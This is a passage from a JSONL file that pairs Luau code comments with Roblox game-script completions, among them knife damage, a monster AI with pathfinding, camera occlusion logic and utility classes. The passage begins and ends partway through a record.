Hit.Parent:FindFirstChild(\"Humanoid\")) then\n\t\t\treturn true\n\t\tend\n\tend\n\treturn false\nend\n\nfunction CastRay(StartPos, Vec, Length, Ignore, DelayIfHit)\n\tlocal Ignore = ((type(Ignore) == \"table\" and Ignore) or {Ignore})\n\tlocal RayHit, RayPos, RayNormal = game:GetService(\"Workspace\"):FindPartOnRayWithIgnoreList(Ray.new(StartPos, Vec * Length), Ignore)\n\tif RayHit and CheckIntangible(RayHit) then\n\t\tif DelayIfHit then\n\t\t\twait()\n\t\tend\n\t\tRayHit, RayPos, RayNormal = CastRay((RayPos + (Vec * 0.01)), Vec, (Length - ((StartPos - RayPos).magnitude)), Ignore, DelayIfHit)\n\tend\n\treturn RayHit, RayPos, RayNormal\nend\n\nfunction GetCreator()\n\treturn (((Creator and Creator.Value and Creator.Value:IsA(\"Player\")) and Creator.Value) or nil)\nend\n\nfunction IsTeamMate(Player1, Player2)\n\treturn (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)\nend\n\nfunction TagHumanoid(humanoid, player)\n\tlocal Creator_Tag = Instance.new(\"ObjectValue\")\n\tCreator_Tag.Name = \"creator\"\n\tCreator_Tag.Value = player\n\tDebris:AddItem(Creator_Tag, 2)\n\tCreator_Tag.Parent = humanoid\nend\n\nfunction UntagHumanoid(humanoid)\n\tfor i, v in pairs(humanoid:GetChildren()) do\n\t\tif v:IsA(\"ObjectValue\") and v.Name == \"creator\" then\n\t\t\tv:Destroy()\n\t\tend\n\tend\nend\n\nfunction Blow(Hit)\n\tif not Hit or not Hit.Parent or KnifeHit then\n\t\treturn\n\tend\n\tlocal character = Hit.Parent\n\tif character:IsA(\"Hat\") then\n\t\tcharacter = character.Parent\n\tend\n\tlocal creator = GetCreator()\n\tlocal player = Players:GetPlayerFromCharacter(character)\n\tif player and creator and (player == creator or IsTeamMate(creator, player)) then\n\t\treturn\n\tend\n\tlocal humanoid = character:FindFirstChild(\"Humanoid\")\n\tif humanoid and humanoid.Health > 0 then\n\t\tUntagHumanoid(humanoid)\n\t\tTagHumanoid(humanoid, creator)\n\t\thumanoid:TakeDamage(Damage.Value)\n\tend\n\tKnifeHit = true\nend\n\nwhile Knife and Knife.Parent and not KnifeHit do\n\tlocal creator = GetCreator()\n\tlocal IgnoreList = {}\n\tif creator and creator.Character then\n\t\ttable.insert(IgnoreList, creator.Character)\n\t\tfor i, v in pairs(Players:GetChildren()) do\n\t\t\tif v:IsA(\"Player\") and IsTeamMate(creator, v) and v.Character then\n\t\t\t\ttable.insert(IgnoreList, v.Character)\n\t\t\tend\n\t\tend\n\tend\n\tlocal BodyVelocity = Knife:FindFirstChild(\"BodyVelocity\")\n\tif BodyVelocity then\n\t\tlocal RayHit, RayPos, RayNormal = CastRay(Knife.Position, BodyVelocity.velocity.Unit, (Knife.Size.Z * 1), IgnoreList, false)\n\t\tif RayHit then\n\t\t\tlocal PartCFrame = (CFrame.new(Knife.Position, RayPos) * CFrame.new(0, 0, -(Knife.Size.Z * 0.75)) * CFrame.Angles(0, 0, (math.pi / 2)))\n\t\t\tlocal Weld = Create(\"Motor\"){\n\t\t\t\tName = \"Stick\",\n\t\t\t\tPart0 = Knife,\n\t\t\t\tPart1 = RayHit,\n\t\t\t\tC0 = PartCFrame:inverse(),\n\t\t\t\tC1 = RayHit.CFrame:inverse(),\n\t\t\t\tParent = Knife,\n\t\t\t}\n\t\t\tfor i, v in pairs(Knife:GetChildren()) do\n\t\t\t\tif v:IsA(\"BodyVelocity\") or v:IsA(\"BodyAngularVelocity\") then\n\t\t\t\t\tv:Destroy()\n\t\t\t\tend\n\t\t\tend\n\t\t\tBlow(RayHit)\n\t\tend\n\tend\n\twait(Rate)\nend\n"} +{"prompt": "---\tManages the cleaning of events and other things.\n-- Useful for encapsulating state and make deconstructors easy\n-- @classmod Maid\n-- @see Signal", "completion": "\n\nlocal Maid = {}\nMaid.ClassName = \"Maid\"\n\n"} +{"prompt": "-- the random part/tool spawn positions.", "completion": "\nPos1 = script.Parent.Pos1.CFrame\nPos2 = script.Parent.Pos2.CFrame\nPos3 = script.Parent.Pos3.CFrame\n\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal l__Players__1 = game:GetService(\"Players\");\nlocal l__CurrentCamera__1 = game.Workspace.CurrentCamera;\nlocal l__math_rad__2 = math.rad;\nlocal u3 = nil;\nlocal l__math_tan__4 = math.tan;\nlocal u5 = nil;\nlocal function v2()\n\tlocal l__ViewportSize__3 = l__CurrentCamera__1.ViewportSize;\n\tu3 = 2 * l__math_tan__4(l__math_rad__2(l__CurrentCamera__1.FieldOfView) / 2);\n\tu5 = l__ViewportSize__3.X / l__ViewportSize__3.Y * u3;\nend;\nl__CurrentCamera__1:GetPropertyChangedSignal(\"FieldOfView\"):Connect(v2);\nl__CurrentCamera__1:GetPropertyChangedSignal(\"ViewportSize\"):Connect(v2);\nlocal l__ViewportSize__4 = l__CurrentCamera__1.ViewportSize;\nu3 = 2 * l__math_tan__4(l__math_rad__2(l__CurrentCamera__1.FieldOfView) / 2);\nu5 = l__ViewportSize__4.X / l__ViewportSize__4.Y * u3;\nlocal u6 = l__CurrentCamera__1.NearPlaneZ;\nl__CurrentCamera__1:GetPropertyChangedSignal(\"NearPlaneZ\"):Connect(function()\n\tu6 = l__CurrentCamera__1.NearPlaneZ;\nend);\nlocal u7 = {};\nlocal u8 = {};\nlocal function v5(p1)\n\tp1.CharacterAdded:Connect(function(p2)\n\t\tu8[p1] = p2;\n\t\tlocal v6 = 1;\n\t\tu7 = {};\n\t\tfor v7, v8 in pairs(u8) do\n\t\t\tu7[v6] = v8;\n\t\t\tv6 = v6 + 1;\n\t\tend;\n\tend);\n\tp1.CharacterRemoving:Connect(function()\n\t\tu8[p1] = nil;\n\t\tlocal v9 = 1;\n\t\tu7 = {};\n\t\tfor v10, v11 in pairs(u8) do\n\t\t\tu7[v9] = v11;\n\t\t\tv9 = v9 + 1;\n\t\tend;\n\tend);\n\tif p1.Character then\n\t\tu8[p1] = p1.Character;\n\t\tlocal v12 = 1;\n\t\tu7 = {};\n\t\tfor v13, v14 in pairs(u8) do\n\t\t\tu7[v12] = v14;\n\t\t\tv12 = v12 + 1;\n\t\tend;\n\tend;\nend;\nl__Players__1.PlayerAdded:Connect(v5);\nl__Players__1.PlayerRemoving:Connect(function(p3)\n\tu8[p3] = nil;\n\tlocal v15 = 1;\n\tu7 = {};\n\tfor v16, v17 in pairs(u8) do\n\t\tu7[v15] = v17;\n\t\tv15 = v15 + 1;\n\tend;\nend);\nlocal v18, v19, v20 = ipairs(l__Players__1:GetPlayers());\nwhile true do\n\tv18(v19, v20);\n\tif not v18 then\n\t\tbreak;\n\tend;\n\tv20 = v18;\n\tv5(v19);\nend;\nlocal v21 = 1;\nu7 = {};\nfor v22, v23 in pairs(u8) do\n\tu7[v21] = v23;\n\tv21 = v21 + 1;\nend;\nu8 = nil;\nlocal u9 = nil;\nl__CurrentCamera__1:GetPropertyChangedSignal(\"CameraSubject\"):Connect(function()\n\tlocal l__CameraSubject__24 = l__CurrentCamera__1.CameraSubject;\n\tif l__CameraSubject__24:IsA(\"Humanoid\") then\n\t\tu9 = l__CameraSubject__24.RootPart;\n\t\treturn;\n\tend;\n\tif l__CameraSubject__24:IsA(\"BasePart\") then\n\t\tu9 = l__CameraSubject__24;\n\t\treturn;\n\tend;\n\tu9 = nil;\nend);\nlocal l__Ray_new__10 = Ray.new;\nlocal l__math_huge__11 = math.huge;\nlocal function u12(p4, p5, p6, p7)\n\tdebug.profilebegin(\"queryPoint\");\n\tp6 = p6 + u6;\n\tlocal v25 = p4 + p5 * p6;\n\tlocal v26 = l__math_huge__11;\n\tlocal v27 = l__math_huge__11;\n\tlocal v28 = p4;\n\tlocal v29 = 0;\n\twhile true do\n\t\tlocal v30, v31 = workspace:FindPartOnRayWithIgnoreList(l__Ray_new__10(v28, v25 - v28), u7, false, true);\n\t\tv29 = v29 + 1;\n\t\tif v30 then\n\t\t\tlocal v32 = v29 >= 64;\n\t\t\tlocal v33 = false;\n\t\t\tif 1 - (1 - v30.Transparency) * (1 - v30.LocalTransparencyModifier) < 0.25 then\n\t\t\t\tv33 = v30.CanCollide;\n\t\t\t\tif v33 then\n\t\t\t\t\tv33 = false;\n\t\t\t\t\tif u8 ~= (v30:GetRootPart() and v30) then\n\t\t\t\t\t\tv33 = not v30:IsA(\"TrussPart\");\n\t\t\t\t\tend;\n\t\t\t\tend;\n\t\t\tend;\n\t\t\tif v33 or v32 then\n\t\t\t\tlocal v34 = { v30 };\n\t\t\t\tlocal l__Magnitude__35 = (v31 - p4).Magnitude;\n\t\t\t\tif workspace:FindPartOnRayWithWhitelist(l__Ray_new__10(v25, v31 - v25), v34, true) and not v32 then\n\t\t\t\t\tlocal v36 = false;\n\t\t\t\t\tif p7 then\n\t\t\t\t\t\tv36 = workspace:FindPartOnRayWithWhitelist(l__Ray_new__10(p7, v25 - p7), v34, true) or workspace:FindPartOnRayWithWhitelist(l__Ray_new__10(v25, p7 - v25), v34, true);\n\t\t\t\t\tend;\n\t\t\t\t\tif v36 then\n\t\t\t\t\t\tv27 = l__Magnitude__35;\n\t\t\t\t\telseif p6 < v26 then\n\t\t\t\t\t\tv26 = l__Magnitude__35;\n\t\t\t\t\tend;\n\t\t\t\telse\n\t\t\t\t\tv27 = l__Magnitude__35;\n\t\t\t\tend;\n\t\t\tend;\n\t\t\tu7[#u7 + 1] = v30;\n\t\t\tv28 = v31 - p5 * 0.001;\n\t\tend;\n\t\tif v27 < l__math_huge__11 then\n\t\t\tbreak;\n\t\tend;\n\t\tif not v30 then\n\t\t\tbreak;\n\t\tend;\t\n\tend;\n\tfor v37 = #u7, #u7 + 1, -1 do\n\t\tu7[v37] = nil;\n\tend;\n\tdebug.profileend();\n\treturn v26 - u6, v27 - u6;\nend;\nlocal function u13(p8, p9)\n\tlocal v38 = #u7;\n\twhile true do\n\t\tlocal v39, v40 = workspace:FindPartOnRayWithIgnoreList(l__Ray_new__10(p8, p9), u7, false, true);\n\t\tif v39 then\n\t\t\tif v39.CanCollide then\n\t\t\t\tfor v41 = #u7, v38 + 1, -1 do\n\t\t\t\t\tu7[v41] = nil;\n\t\t\t\tend;\n\t\t\t\treturn v40, true;\n\t\t\tend;\n\t\t\tu7[#u7 + 1] = v39;\n\t\tend;\n\t\tif not v39 then\n\t\t\tbreak;\n\t\tend;\t\n\tend;\n\tfor v42 = #u7, v38 + 1, -1 do\n\t\tu7[v42] = nil;\n\tend;\n\treturn p8 + p9, false;\nend;\nlocal l__math_min__14 = math.min;\nlocal u15 = { Vector2.new(0.4, 0), Vector2.new(-0.4, 0), Vector2.new(0, -0.4), Vector2.new(0, 0.4), Vector2.new(0, 0.2) };\nlocal function u16(p10, p11)\n\tdebug.profilebegin(\"queryViewport\");\n\tlocal l__p__43 = p10.p;\n\tlocal l__rightVector__44 = p10.rightVector;\n\tlocal l__upVector__45 = p10.upVector;\n\tlocal v46 = -p10.lookVector;\n\tlocal l__ViewportSize__47 = l__CurrentCamera__1.ViewportSize;\n\tlocal v48 = l__math_huge__11;\n\tlocal v49 = l__math_huge__11;\n\tfor v50 = 0, 1 do\n\t\tlocal v51 = l__rightVector__44 * ((v50 - 0.5) * u5);\n\t\tfor v52 = 0, 1 do\n\t\t\tlocal v53, v54 = u12(l__p__43 + u6 * (v51 + l__upVector__45 * ((v52 - 0.5) * u3)), v46, p11, l__CurrentCamera__1:ViewportPointToRay(l__ViewportSize__47.x * v50, l__ViewportSize__47.y * v52).Origin);\n\t\t\tif v54 < v48 then\n\t\t\t\tv48 = v54;\n\t\t\tend;\n\t\t\tif v53 < v49 then\n\t\t\t\tv49 = v53;\n\t\t\tend;\n\t\tend;\n\tend;\n\tdebug.profileend();\n\treturn v49, v48;\nend;\nlocal function u17(p12, p13, p14)\n\tdebug.profilebegin(\"testPromotion\");\n\tlocal l__p__55 = p12.p;\n\tlocal l__rightVector__56 = p12.rightVector;\n\tlocal l__upVector__57 = p12.upVector;\n\tlocal v58 = -p12.lookVector;\n\tdebug.profilebegin(\"extrapolate\");\n\tfor v59 = 0, l__math_min__14(1.25, p14.rotVelocity.magnitude + (u13(l__p__55, p14.posVelocity * 1.25) - l__p__55).Magnitude / p14.posVelocity.magnitude), 0.0625 do\n\t\tlocal v60 = p14.extrapolate(v59);\n\t\tif p13 <= u12(v60.p, -v60.lookVector, p13) then\n\t\t\treturn false;\n\t\tend;\n\tend;\n\tdebug.profileend();\n\tdebug.profilebegin(\"testOffsets\");\n\tlocal v61, v62, v63 = ipairs(u15);\n\twhile true do\n\t\tv61(v62, v63);\n\t\tif not v61 then\n\t\t\tbreak;\n\t\tend;\n\t\tv63 = v61;\n\t\tlocal v64 = u13(l__p__55, l__rightVector__56 * v62.x + l__upVector__57 * v62.y);\n\t\tif u12(v64, (l__p__55 + v58 * p13 - v64).Unit, p13) == l__math_huge__11 then\n\t\t\treturn false;\n\t\tend;\t\n\tend;\n\tdebug.profileend();\n\tdebug.profileend();\n\treturn true;\nend;\nreturn function(p15, p16, p17)\n\tdebug.profilebegin(\"popper\");\n\tu8 = u9 and u9:GetRootPart() or u9;\n\tlocal v65 = p16;\n\tlocal v66, v67 = u16(p15, p16);\n\tif v67 < v65 then\n\t\tv65 = v67;\n\tend;\n\tif v66 < v65 and u17(p15, p16, p17) then\n\t\tv65 = v66;\n\tend;\n\tu8 = nil;\n\tdebug.profileend();\n\treturn v65;\nend;\n"} +{"prompt": "---------------------------------------------------------------\n-- \n-- \u0443\u0440\u043e\u043d \u043b\u043e\u043f\u0430\u0441\u0442\u044f\u043c\u0438 \n-- \n---------------------------------------------------------------", "completion": "\nlocal Players = game:GetService(\"Players\") -- \u0431\u0435\u0440\u0451\u043c \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u0441\u043f\u0438\u0441\u043e\u043a \u0438\u0433\u0440\u043e\u043a\u043e\u0432\nlocal ServerScriptService = game:GetService(\"ServerScriptService\") -- \u0431\u0435\u0440\u0451\u043c \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u0441\u0435\u0440\u0432\u0438\u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0445 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432\nlocal Damage=require(ServerScriptService.Damage) -- \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043c\u043e\u0434\u0443\u043b\u044f Damage\n\nme=script.Parent\nplr=Players:FindFirstChild(me.Parent.Owner.Value)\n\nme=script.Parent"} +{"prompt": "--Ignore above", "completion": "\n\nlocal function place(plr, name, location, prefabs, cframe, c)\n\tlocal item = prefabs:FindFirstChild(name):Clone()\n\titem.PrimaryPart.CanCollide = false\n\titem:SetPrimaryPartCFrame(cframe)\n\t\n\tChangeTransparency(item, 1)\n\t\n\titem.Parent = location\n\t\n\tif c then\n\t\tif not checkHitbox(plr.Character, item) then\n\t\t\tChangeTransparency(item, 0)\n\t\t\t\n\t\t\titem.PrimaryPart.Transparency = 1\n\t\t\t\n\t\t\treturn true\n\t\telse\n\t\t\titem:Destroy()\n\t\t\t\n\t\t\treturn false\n\t\tend\n\telse\n\t\tChangeTransparency(item, 0)\n\t\t\t\n\t\titem.PrimaryPart.Transparency = 1\n\t\t\t\n\t\treturn true\n\tend\nend\n\ngame.ReplicatedStorage.Remotes.place.OnServerInvoke = place\n"} +{"prompt": "--[[**\n\tensures Roblox Axes type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.Axes = primitive(\"Axes\")\n"} +{"prompt": "--- Sets the text in the command bar text box, and captures focus", "completion": "\nfunction Window:SetEntryText(text)\n\tEntry.TextBox.Text = text\n\n\tif self:IsVisible() then\n\t\tEntry.TextBox:CaptureFocus()\n\t\tEntry.TextBox.CursorPosition = #text + 1\n\t\tWindow:UpdateWindowHeight()\n\tend\nend\n"} +{"prompt": "------------------\n------------------", "completion": "\n\n\nwhile true do\n\tlocal p = game.Players:GetChildren()\n\tfor i = 1,#p do\n\t\tif p[i].Character~=nil then\n\t\t\tif p[i].Character:findFirstChild(\"Torso\")~=nil then\n\t\t\t\tif (p[i].Character.Torso.Position - script.Parent.Torso.Position).magnitude < 5 then\n\t\t\t\t\tlocal anim = Instance.new(\"StringValue\")\n\t\t\t\t\tanim.Value = possibleAnims[math.random(1, #possibleAnims)]\n\t\t\t\t\tanim.Name = \"toolanim\"\n\t\t\t\t\tanim.Parent = script.Parent.LinkedSword\n\t\t\t\t\tif anim.Value == \"Lunge\" then\n\tscript.Parent.LinkedSword2.GripForward = Vector3.new(0,0,1)\n\tscript.Parent.LinkedSword2.GripRight = Vector3.new(0,-1,0)\n\tscript.Parent.LinkedSword2.GripUp = Vector3.new(-1,0,0)\n\t\twait(.30)\n\tscript.Parent.LinkedSword2.GripForward = Vector3.new(-1,0,0)\n\tscript.Parent.LinkedSword2.GripRight = Vector3.new(0,1,0)\n\tscript.Parent.LinkedSword2.GripUp = Vector3.new(0,0,1)\n\n\t\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\twait(1.5)\nend\n"} +{"prompt": "--\n--", "completion": "\nlocal Monster = {} -- Create the monster class\n\n\nfunction Monster:GetCFrame()\n\t-- Returns the CFrame of the monster's humanoidrootpart\n\n\tlocal humanoidRootPart = Self:FindFirstChild('HumanoidRootPart')\n\n\tif humanoidRootPart ~= nil and humanoidRootPart:IsA('BasePart') then\n\t\treturn humanoidRootPart.CFrame\n\telse\n\t\treturn CFrame.new()\n\tend\nend\n\nfunction Monster:GetMaximumDetectionDistance()\n\t-- Returns the maximum detection distance\n\t\n\tlocal setting = Settings.MaximumDetectionDistance.Value\n\n\tif setting < 0 then\n\t\treturn math.huge\n\telse\n\t\treturn setting\n\tend\nend\n\nfunction Monster:SearchForTarget()\n\t-- Finds the closest player and sets the target\n\n\tlocal players = Info.Players:GetPlayers()\n\tlocal closestCharacter, closestCharacterDistance\n\n\tfor i=1, #players do\n\t\tlocal player = players[i]\n\t\t\n\t\tif player.Neutral or player.TeamColor ~= Settings.FriendlyTeam.Value then\n\t\t\tlocal character = player.Character\n\t\n\t\t\tif character ~= nil and character:FindFirstChild('Humanoid') ~= nil and character.Humanoid:IsA('Humanoid') and character.Name ~= player.Name..\"'s Ragdoll\" and character:FindFirstChild(\"HumanoidRootPart\") ~= nil then\n\t\t\t\tlocal distance = player:DistanceFromCharacter(Monster:GetCFrame().p)\n\t\n\t\t\t\tif distance < Monster:GetMaximumDetectionDistance() then\n\t\t\t\t\tif closestCharacter == nil then\n\t\t\t\t\t\tclosestCharacter, closestCharacterDistance = character, distance\n\t\t\t\t\telse\n\t\t\t\t\t\tif closestCharacterDistance > distance then\n\t\t\t\t\t\t\tclosestCharacter, closestCharacterDistance = character, distance\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\n\n\tif closestCharacter ~= nil then\n\t\tMind.CurrentTargetHumanoid.Value = closestCharacter.Humanoid\n\tend\nend\n\nfunction Monster:TryRecomputePath()\n\tif Data.AutoRecompute or tick() - Data.LastRecomputePath > 1/Info.RecomputePathFrequency then\n\t\tMonster:RecomputePath()\n\tend\nend\n\nfunction Monster:GetTargetCFrame()\n\tlocal targetHumanoid = Mind.CurrentTargetHumanoid.Value\n\t\n\tif Monster:TargetIsValid() then\n\t\treturn targetHumanoid.Parent.Torso.CFrame\n\telse\n\t\treturn CFrame.new()\n\tend\nend\n\nfunction Monster:IsAlive()\n\treturn Self.Humanoid.Health > 0 and Self.Humanoid ~= nil\nend\n\nfunction Monster:TargetIsValid()\n\tlocal targetHumanoid = Mind.CurrentTargetHumanoid.Value\n\t\n\tif targetHumanoid ~= nil and targetHumanoid:IsA'Humanoid' and targetHumanoid.Parent:FindFirstChild(\"HumanoidRootPart\") and targetHumanoid.Health > 0 then\n\t\treturn true\n\telse\n\t\treturn false\n\tend\nend\n\nfunction Monster:HasClearLineOfSight()\n\t-- Going to cast a ray to see if I can just see my target\n\tlocal myPos, targetPos = Monster:GetCFrame().p, Monster:GetTargetCFrame().p\n\t\n\tlocal hit, pos = workspace:FindPartOnRayWithIgnoreList(\n\t\tRay.new(\n\t\t\tmyPos,\n\t\t\ttargetPos - myPos\n\t\t),\n\t\t{\n\t\t\tSelf,\n\t\t\tMind.CurrentTargetHumanoid.Value.Parent\n\t\t}\n\t)\n\t\n\t\n\tif hit == nil then\n\t\treturn true\n\telse\n\t\treturn false\n\tend\nend\n\nfunction Monster:RecomputePath()\n\tif not Data.Recomputing then\n\t\tif Monster:IsAlive() and Monster:TargetIsValid() then\n\t\t\tif Monster:HasClearLineOfSight() then\n\t\t\t\tData.AutoRecompute = true\n\t\t\t\tData.PathCoords = {\n\t\t\t\t\tMonster:GetCFrame().p,\n\t\t\t\t\tMonster:GetTargetCFrame().p\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tData.LastRecomputePath = tick()\n\t\t\t\tData.CurrentNode = nil\n\t\t\t\tData.CurrentNodeIndex = 2 -- Starts chasing the target without evaluating its current position\n\t\t\telse\n\t\t\t\t-- Do pathfinding since you can't walk straight\n\t\t\t\tData.Recomputing = true -- Basically a debounce.\n\t\t\t\tData.AutoRecompute = false\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tlocal path = Info.PathfindingService:ComputeSmoothPathAsync(\n\t\t\t\t\tMonster:GetCFrame().p,\n\t\t\t\t\tMonster:GetTargetCFrame().p,\n\t\t\t\t\t500\n\t\t\t\t)\n\t\t\t\tData.PathCoords = path:GetPointCoordinates()\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tData.Recomputing = false\n\t\t\t\tData.LastRecomputePath = tick()\n\t\t\t\tData.CurrentNode = nil\n\t\t\t\tData.CurrentNodeIndex = 1\n\t\t\tend\n\t\tend\n\tend\nend\n\nfunction Monster:Update()\n\tMonster:ReevaluateTarget()\n\tMonster:SearchForTarget()\n\tMonster:TryRecomputePath()\n\tMonster:TravelPath()\nend\n\nfunction Monster:TravelPath()\n\tlocal closest, closestDistance, closestIndex\n\tlocal myPosition = Monster:GetCFrame().p\n\tlocal skipCurrentNode = Data.CurrentNode ~= nil and (Data.CurrentNode - myPosition).magnitude < 3\n\t\n\tfor i=Data.CurrentNodeIndex, #Data.PathCoords do\n\t\tlocal coord = Data.PathCoords[i]\n\t\tif not (skipCurrentNode and coord == Data.CurrentNode) then\n\t\t\tlocal distance = (coord - myPosition).magnitude\n\t\t\t\n\t\t\tif closest == nil then\n\t\t\t\tclosest, closestDistance, closestIndex = coord, distance, i\n\t\t\telse\n\t\t\t\tif distance < closestDistance then\n\t\t\t\t\tclosest, closestDistance, closestIndex = coord, distance, i\n\t\t\t\telse\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\t\n\t\n\t--\n\tif closest ~= nil then\n\t\tData.CurrentNode = closest\n\t\tData.CurrentNodeIndex = closestIndex\n\t\t\n\t\tlocal humanoid = Self:FindFirstChild 'Humanoid'\n\t\t\n\t\tif humanoid ~= nil and humanoid:IsA'Humanoid' then\n\t\t\thumanoid:MoveTo(closest)\n\t\tend\n\t\t\n\t\tif Monster:IsAlive() and Monster:TargetIsValid() then\n\t\t\tMonster:TryJumpCheck()\n\t\t\tMonster:TryAttack()\n\t\tend\n\t\t\n\t\tif closestIndex == #Data.PathCoords then\n\t\t\t-- Reached the end of the path, force a new check\n\t\t\tData.AutoRecompute = true\n\t\tend\n\tend\nend\n\nfunction Monster:TryJumpCheck()\n\tif tick() - Data.LastJumpCheck > 1/Info.JumpCheckFrequency then\n\t\tMonster:JumpCheck()\n\tend\nend\n\nfunction Monster:TryAttack()\n\tif tick() - Data.LastAttack > 1/Settings.AttackFrequency.Value then\n\t\tMonster:Attack()\n\tend\nend\n\nfunction Monster:Attack()\n\tlocal myPos, targetPos = Monster:GetCFrame().p, Monster:GetTargetCFrame().p\n\t\n\tif (myPos - targetPos).magnitude <= Settings.AttackRange.Value then\n\t\tMind.CurrentTargetHumanoid.Value:TakeDamage(Settings.AttackDamage.Value)\n\t\tData.LastAttack = tick()\n\t\tData.AttackTrack:Play()\n\t\t\n\t\tfor _,v in pairs(game.Players:GetPlayers()) do\n\t\t\tif v:IsA(\"Player\") then\n\t\t\t\tlocal deathmessage = game.ReplicatedStorage.deathtemplate:Clone()\n\t\t\t\tdeathmessage.Parent = v.PlayerGui.DeathList.Frame\n\t\t\t\tdeathmessage.enemy.Text = script.Parent.Name\n\t\t\t\tdeathmessage.player.Text = Mind.CurrentTargetHumanoid.Value.Parent.Name\n\t\t\t\tdeathmessage.death.Image = script.Parent.HumanoidRootPart:FindFirstChildOfClass(\"Beam\").Texture\n\t\t\tend\n\t\tend\n\tend\nend\n\nfunction Monster:JumpCheck()\n\t-- Do a raycast to check if we need to jump\n\tlocal myCFrame = Monster:GetCFrame()\n\tlocal checkVector = (Monster:GetTargetCFrame().p - myCFrame.p).unit*2\n\t\n\tlocal hit, pos = workspace:FindPartOnRay(\n\t\tRay.new(\n\t\t\tmyCFrame.p + Vector3.new(0, -2.4, 0),\n\t\t\tcheckVector\n\t\t),\n\t\tSelf\n\t)\n\t\n\tif hit ~= nil and not hit:IsDescendantOf(Mind.CurrentTargetHumanoid.Value.Parent) then\n\t\t-- Do a slope check to make sure we're not walking up a ramp\n\t\t\n\t\tlocal hit2, pos2 = workspace:FindPartOnRay(\n\t\t\tRay.new(\n\t\t\t\tmyCFrame.p + Vector3.new(0, -2.3, 0),\n\t\t\t\tcheckVector\n\t\t\t),\n\t\t\tSelf\n\t\t)\n\t\t\n\t\tif hit2 == hit then\n\t\t\tif ((pos2 - pos)*Vector3.new(1,0,1)).magnitude < 0.05 then -- Will pass for any ramp with <2 slope\n\t\t\t\tSelf.Humanoid.Jump = true\n\t\t\tend\n\t\tend\n\tend\n\t\n\tData.LastJumpCheck = tick()\nend\n\nfunction Monster:Connect()\n\tMind.CurrentTargetHumanoid.Changed:connect(function(humanoid)\n\t\tif humanoid ~= nil then\n\t\t\tassert(humanoid:IsA'Humanoid', 'Monster target must be a humanoid')\n\t\t\t\n\t\t\tMonster:RecomputePath()\n\t\tend\n\tend)\nend\n\nfunction Monster:Initialize()\n\tMonster:Connect()\n\t\n\tif Settings.AutoDetectSpawnPoint.Value then\n\t\tSettings.SpawnPoint.Value = Monster:GetCFrame().p\n\tend\nend\n\nfunction Monster:Respawn(point)\n\tlocal point = point or Settings.SpawnPoint.Value\n\t\n\tfor index, obj in next, Data.BaseMonster:Clone():GetChildren() do\n\t\tif obj.Name == 'Configurations' or obj.Name == 'Mind' or obj.Name == 'Respawned' or obj.Name == 'Died' or obj.Name == 'MonsterScript' or obj.Name == 'Respawn' then\n\t\t\tobj:Destroy()\n\t\telse\n\t\t\tSelf[obj.Name]:Destroy()\n\t\t\tobj.Parent = Self\n\t\tend\n\tend\n\t\n\tMonster:InitializeUnique()\n\t\n\tSelf.Parent = workspace\n\t\n\tSelf.HumanoidRootPart.CFrame = CFrame.new(point)\n\tSettings.SpawnPoint.Value = point\n\tSelf.Respawned:Fire()\nend\n\nfunction Monster:InitializeUnique()\n\tData.AttackTrack = Self.Humanoid:LoadAnimation(script.Attack)\nend\n\nfunction Monster:ReevaluateTarget()\n\tlocal currentTarget = Mind.CurrentTargetHumanoid.Value\n\t\n\tif currentTarget ~= nil and currentTarget:IsA'Humanoid' then\n\t\tlocal character = currentTarget.Parent\n\t\t\n\t\tif character ~= nil then\n\t\t\tlocal player = Info.Players:GetPlayerFromCharacter(character)\n\t\t\t\n\t\t\tif player ~= nil then\n\t\t\t\tif not player.Neutral and player.TeamColor == Settings.FriendlyTeam.Value then\n\t\t\t\t\tMind.CurrentTargetHumanoid.Value = nil\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n\t\t\n\t\tif currentTarget == Mind.CurrentTargetHumanoid.Value then\n\t\t\tif currentTarget.Parent:FindFirstChild(\"HumanoidRootPart\") then\n\t\t\t\tlocal torso = currentTarget.Parent.HumanoidRootPart\n\n\t\t\t\tif torso ~= nil and torso:IsA 'BasePart' then\n\t\t\t\t\tif Settings.CanGiveUp.Value and (torso.Position - Monster:GetCFrame().p).magnitude > Monster:GetMaximumDetectionDistance() then\n\t\t\t\t\t\tMind.CurrentTargetHumanoid.Value = nil\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tMind.CurrentTargetHumanoid.Value = nil\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "-- / Wind Shake / --", "completion": "\n\nWindShake:SetDefaultSettings(WindShakeSettings)\n\nWindShake:Init()\n\ngame.Workspace.DescendantAdded:Connect(function(Object)\n\tif table.find(ShakableObjects, Object.Name) then\n\t\tWindShake:AddObjectShake(Object, WindShakeSettings)\n\tend\nend)\n"} +{"prompt": "--// Find Element in Table", "completion": "\nlocal Find = function(What, InTable)\n\tfor Index, Value in pairs(InTable) do\n\t\tif Index == What or Value == What then\n\t\t\treturn true\n\t\tend\n\tend\n\n\treturn false\nend\n"} +{"prompt": "-------------------------", "completion": "\n \nmouse.KeyDown:connect(function (key)\n key = string.lower(key)\n\t\t\t\tif key == \"c\" then --Camera controls\n\t\t\t\t if cam == (\"car\") then\n\t\t\t\t\t\t\tCamera.CameraSubject = player.Character.Humanoid\n\t\t\t\t\t\t\tCamera.CameraType = (\"Custom\")\n\t\t\t\t\t\t\tcam = (\"freeplr\")\n\t\t\t\t\t\t\tCamera.FieldOfView = 70\n\t\t\t\t\t\t\tlimitButton.Text 